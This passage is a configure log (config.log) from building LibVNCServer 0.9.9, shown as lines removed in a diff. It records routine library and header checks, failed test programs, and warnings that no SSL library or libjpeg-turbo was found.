-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| /* end confdefs.h. */
-|
-| /* Override any GCC internal prototype to avoid an error.
-| Use char because int might match the return type of a GCC
-| builtin and then its argument prototype would still apply. */
-| #ifdef __cplusplus
-| extern "C"
-| #endif
-| char RAND_file_name ();
-| int
-| main ()
-| {
-| return RAND_file_name ();
-| ;
-| return 0;
-| }
-configure:19626: result: no
-configure:19687: checking for SSL_library_init in -lssl
-configure:19712: gcc -o conftest -g -O2 -Wall conftest.c -lssl >&5
-/usr/bin/ld: cannot find -lssl
-collect2: error: ld returned 1 exit status
-configure:19712: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| /* end confdefs.h. */
-|
-| /* Override any GCC internal prototype to avoid an error.
-| Use char because int might match the return type of a GCC
-| builtin and then its argument prototype would still apply. */
-| #ifdef __cplusplus
-| extern "C"
-| #endif
-| char SSL_library_init ();
-| int
-| main ()
-| {
-| return SSL_library_init ();
-| ;
-| return 0;
-| }
-configure:19721: result: no
-configure:19743: checking for X
-configure:19851: gcc -E conftest.c
-configure:19851: $? = 0
-configure:19882: gcc -o conftest -g -O2 -Wall conftest.c -lX11 >&5
-configure:19882: $? = 0
-configure:19932: result: libraries , headers
-configure:20031: gcc -o conftest -g -O2 -Wall conftest.c -lX11 >&5
-configure:20031: $? = 0
-configure:20129: checking for gethostbyname
-configure:20129: gcc -o conftest -g -O2 -Wall conftest.c >&5
-configure:20129: $? = 0
-configure:20129: result: yes
-configure:20226: checking for connect
-configure:20226: gcc -o conftest -g -O2 -Wall conftest.c >&5
-configure:20226: $? = 0
-configure:20226: result: yes
-configure:20275: checking for remove
-configure:20275: gcc -o conftest -g -O2 -Wall conftest.c >&5
-configure:20275: $? = 0
-configure:20275: result: yes
-configure:20324: checking for shmat
-configure:20324: gcc -o conftest -g -O2 -Wall conftest.c >&5
-configure:20324: $? = 0
-configure:20324: result: yes
-configure:20382: checking for IceConnectionNumber in -lICE
-configure:20407: gcc -o conftest -g -O2 -Wall conftest.c -lICE >&5
-configure:20407: $? = 0
-configure:20416: result: yes
-configure:20560: checking for XGetImage in -lX11
-configure:20585: gcc -o conftest -g -O2 -Wall conftest.c -lX11 -lX11 >&5
-configure:20585: $? = 0
-configure:20594: result: yes
-configure:21556: checking jpeglib.h usability
-configure:21556: gcc -c -g -O2 -Wall conftest.c >&5
-configure:21556: $? = 0
-configure:21556: result: yes
-configure:21556: checking jpeglib.h presence
-configure:21556: gcc -E conftest.c
-configure:21556: $? = 0
-configure:21556: result: yes
-configure:21556: checking for jpeglib.h
-configure:21556: result: yes
-configure:21562: checking for jpeg_CreateCompress in libjpeg
-configure:21583: gcc -o conftest -g -O2 -Wall conftest.c -ljpeg >&5
-configure:21583: $? = 0
-configure:21584: result: yes
-configure:21629: checking whether JPEG library is libjpeg-turbo
-configure:21660: gcc -o conftest -g -O2 -Wall conftest.c -ljpeg >&5
-conftest.c: In function 'main':
-conftest.c:37:28: error: 'JCS_EXT_RGB' undeclared (first use in this function)
-conftest.c:37:28: note: each undeclared identifier is reported only once for each function it appears in
-configure:21660: $? = 1
-configure: program exited with status 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #include <jpeglib.h>
-| int
-| main ()
-| {
-| struct jpeg_compress_struct cinfo;
-| struct jpeg_error_mgr jerr;
-| cinfo.err=jpeg_std_error(&jerr);
-| jpeg_create_compress(&cinfo);
-| cinfo.input_components = 3;
-| jpeg_set_defaults(&cinfo);
-| cinfo.in_color_space = JCS_EXT_RGB;
-| jpeg_default_colorspace(&cinfo);
-| return 0;
-| ;
-| return 0;
-| }
-|
-configure:21664: result: no
-configure:21712: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-
-configure:21753: checking png.h usability
-configure:21753: gcc -c -g -O2 -Wall conftest.c >&5
-configure:21753: $? = 0
-configure:21753: result: yes
-configure:21753: checking png.h presence
-configure:21753: gcc -E conftest.c
-configure:21753: $? = 0
-configure:21753: result: yes
-configure:21753: checking for png.h
-configure:21753: result: yes
-configure:21760: checking for png_create_write_struct in -lpng
-configure:21785: gcc -o conftest -g -O2 -Wall conftest.c -lpng -ljpeg >&5
-configure:21785: $? = 0
-configure:21794: result: yes
-configure:21869: checking zlib.h usability
-configure:21869: gcc -c -g -O2 -Wall conftest.c >&5
-configure:21869: $? = 0
-configure:21869: result: yes
-configure:21869: checking zlib.h presence
-configure:21869: gcc -E conftest.c
-configure:21869: $? = 0
-configure:21869: result: yes
-configure:21869: checking for zlib.h
-configure:21869: result: yes
-configure:21876: checking for deflate in -lz
-configure:21901: gcc -o conftest -g -O2 -Wall conftest.c -lz -lpng -ljpeg >&5
-configure:21901: $? = 0
-configure:21910: result: yes
-configure:21963: checking pthread.h usability
-configure:21963: gcc -c -g -O2 -Wall conftest.c >&5
-configure:21963: $? = 0
-configure:21963: result: yes
-configure:21963: checking pthread.h presence
-configure:21963: gcc -E conftest.c
-configure:21963: $? = 0
-configure:21963: result: yes
-configure:21963: checking for pthread.h
-configure:21963: result: yes
-configure:21970: checking for pthread_mutex_lock in -lpthread
-configure:21995: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg >&5
-configure:21995: $? = 0
-configure:22004: result: yes
-configure:22015: checking for pthread_mutex_lock in -lpthread
-configure:22049: result: yes
-configure:22066: checking for __thread
-configure:22079: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg >&5
-conftest.c: In function 'main':
-conftest.c:33:21: warning: unused variable 'p' [-Wunused-variable]
-configure:22079: $? = 0
-configure:22083: result: yes
-configure:22241: checking for pkg-config
-configure:22259: found /usr/bin/pkg-config
-configure:22271: result: /usr/bin/pkg-config
-configure:22296: checking pkg-config is at least version 0.9.0
-configure:22299: result: yes
-configure:22309: checking for GTK
-configure:22316: $PKG_CONFIG --exists --print-errors "gtk+-2.0"
-Package gtk+-2.0 was not found in the pkg-config search path.
-Perhaps you should add the directory containing `gtk+-2.0.pc'
-to the PKG_CONFIG_PATH environment variable
-No package 'gtk+-2.0' found
-configure:22319: $? = 1
-configure:22333: $PKG_CONFIG --exists --print-errors "gtk+-2.0"
-Package gtk+-2.0 was not found in the pkg-config search path.
-Perhaps you should add the directory containing `gtk+-2.0.pc'
-to the PKG_CONFIG_PATH environment variable
-No package 'gtk+-2.0' found
-configure:22336: $? = 1
-configure:22350: result: no
-No package 'gtk+-2.0' found
-configure:22435: checking for libgcrypt-config
-configure:22466: result: no
-configure:22483: checking for LIBGCRYPT - version >= 1.4.0
-configure:22520: result: no
-configure:22574: checking for GNUTLS
-configure:22581: $PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0"
-Package gnutls was not found in the pkg-config search path.
-Perhaps you should add the directory containing `gnutls.pc'
-to the PKG_CONFIG_PATH environment variable
-No package 'gnutls' found
-configure:22584: $? = 1
-configure:22598: $PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0"
-Package gnutls was not found in the pkg-config search path.
-Perhaps you should add the directory containing `gnutls.pc'
-to the PKG_CONFIG_PATH environment variable
-No package 'gnutls' found
-configure:22601: $? = 1
-configure:22615: result: no
-No package 'gnutls' found
-configure:22669: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-
-configure:22691: checking for getaddrinfo
-configure:22691: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:22691: $? = 0
-configure:22691: result: yes
-configure:22774: checking for ANSI C header files
-configure:22878: result: yes
-configure:22889: checking arpa/inet.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking arpa/inet.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for arpa/inet.h
-configure:22889: result: yes
-configure:22889: checking fcntl.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking fcntl.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for fcntl.h
-configure:22889: result: yes
-configure:22889: checking netdb.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking netdb.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for netdb.h
-configure:22889: result: yes
-configure:22889: checking netinet/in.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking netinet/in.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for netinet/in.h
-configure:22889: result: yes
-configure:22889: checking for stdlib.h
-configure:22889: result: yes
-configure:22889: checking for string.h
-configure:22889: result: yes
-configure:22889: checking sys/socket.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking sys/socket.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for sys/socket.h
-configure:22889: result: yes
-configure:22889: checking sys/time.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking sys/time.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for sys/time.h
-configure:22889: result: yes
-configure:22889: checking sys/timeb.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking sys/timeb.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for sys/timeb.h
-configure:22889: result: yes
-configure:22889: checking syslog.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking syslog.h presence
-configure:22889: gcc -E conftest.c
-configure:22889: $? = 0
-configure:22889: result: yes
-configure:22889: checking for syslog.h
-configure:22889: result: yes
-configure:22889: checking for unistd.h
-configure:22889: result: yes
-configure:22889: checking ws2tcpip.h usability
-configure:22889: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c:78:22: fatal error: ws2tcpip.h: No such file or directory
-compilation terminated.
-configure:22889: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| #include <ws2tcpip.h>
-configure:22889: result: no
-configure:22889: checking ws2tcpip.h presence
-configure:22889: gcc -E conftest.c
-conftest.c:45:22: fatal error: ws2tcpip.h: No such file or directory
-compilation terminated.
-configure:22889: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| /* end confdefs.h. */
-| #include <ws2tcpip.h>
-configure:22889: result: no
-configure:22889: checking for ws2tcpip.h
-configure:22889: result: no
-configure:22918: checking for an ANSI C-conforming const
-configure:22984: gcc -c -g -O2 -Wall conftest.c >&5
-configure:22984: $? = 0
-configure:22991: result: yes
-configure:22999: checking for inline
-configure:23015: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23015: $? = 0
-configure:23023: result: inline
-configure:23041: checking whether byte ordering is bigendian
-configure:23056: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c:46:9: error: unknown type name 'not'
-conftest.c:46:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'universal'
-conftest.c:46:15: error: unknown type name 'universal'
-configure:23056: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| /* end confdefs.h. */
-| #ifndef __APPLE_CC__
-| not a universal capable compiler
-| #endif
-| typedef int dummy;
-|
-configure:23101: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23101: $? = 0
-configure:23119: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:4: error: unknown type name 'not'
-conftest.c:52:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'endian'
-configure:23119: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| /* end confdefs.h. */
-| #include <sys/types.h>
-| #include <sys/param.h>
-|
-| int
-| main ()
-| {
-| #if BYTE_ORDER != BIG_ENDIAN
-| not big endian
-| #endif
-|
-| ;
-| return 0;
-| }
-configure:23247: result: no
-configure:23265: checking for size_t
-configure:23265: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23265: $? = 0
-configure:23265: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:81:21: error: expected expression before ')' token
-configure:23265: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| int
-| main ()
-| {
-| if (sizeof ((size_t)))
-| return 0;
-| ;
-| return 0;
-| }
-configure:23265: result: yes
-configure:23276: checking whether time.h and sys/time.h may both be included
-configure:23296: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23296: $? = 0
-configure:23303: result: yes
-configure:23311: checking for sys/wait.h that is POSIX.1 compatible
-configure:23337: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23337: $? = 0
-configure:23344: result: yes
-configure:23352: checking for socklen_t
-configure:23370: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:11: warning: unused variable 'len' [-Wunused-variable]
-configure:23370: $? = 0
-configure:23378: result: yes
-configure:23390: checking for stdint-types....
-configure:23400: result: "(putting them into rfb/rfbint.h)"
-configure:23413: checking for uintptr_t
-configure:23413: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23413: $? = 0
-configure:23413: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:24: error: expected expression before ')' token
-configure:23413: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| /* end confdefs.h. */
-| #include <stdint.h>
-|
-| int
-| main ()
-| {
-| if (sizeof ((uintptr_t)))
-| return 0;
-| ;
-| return 0;
-| }
-configure:23413: result: yes
-configure:23421: checking for uint64_t
-configure:23421: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23421: $? = 0
-configure:23421: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:23: error: expected expression before ')' token
-configure:23421: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
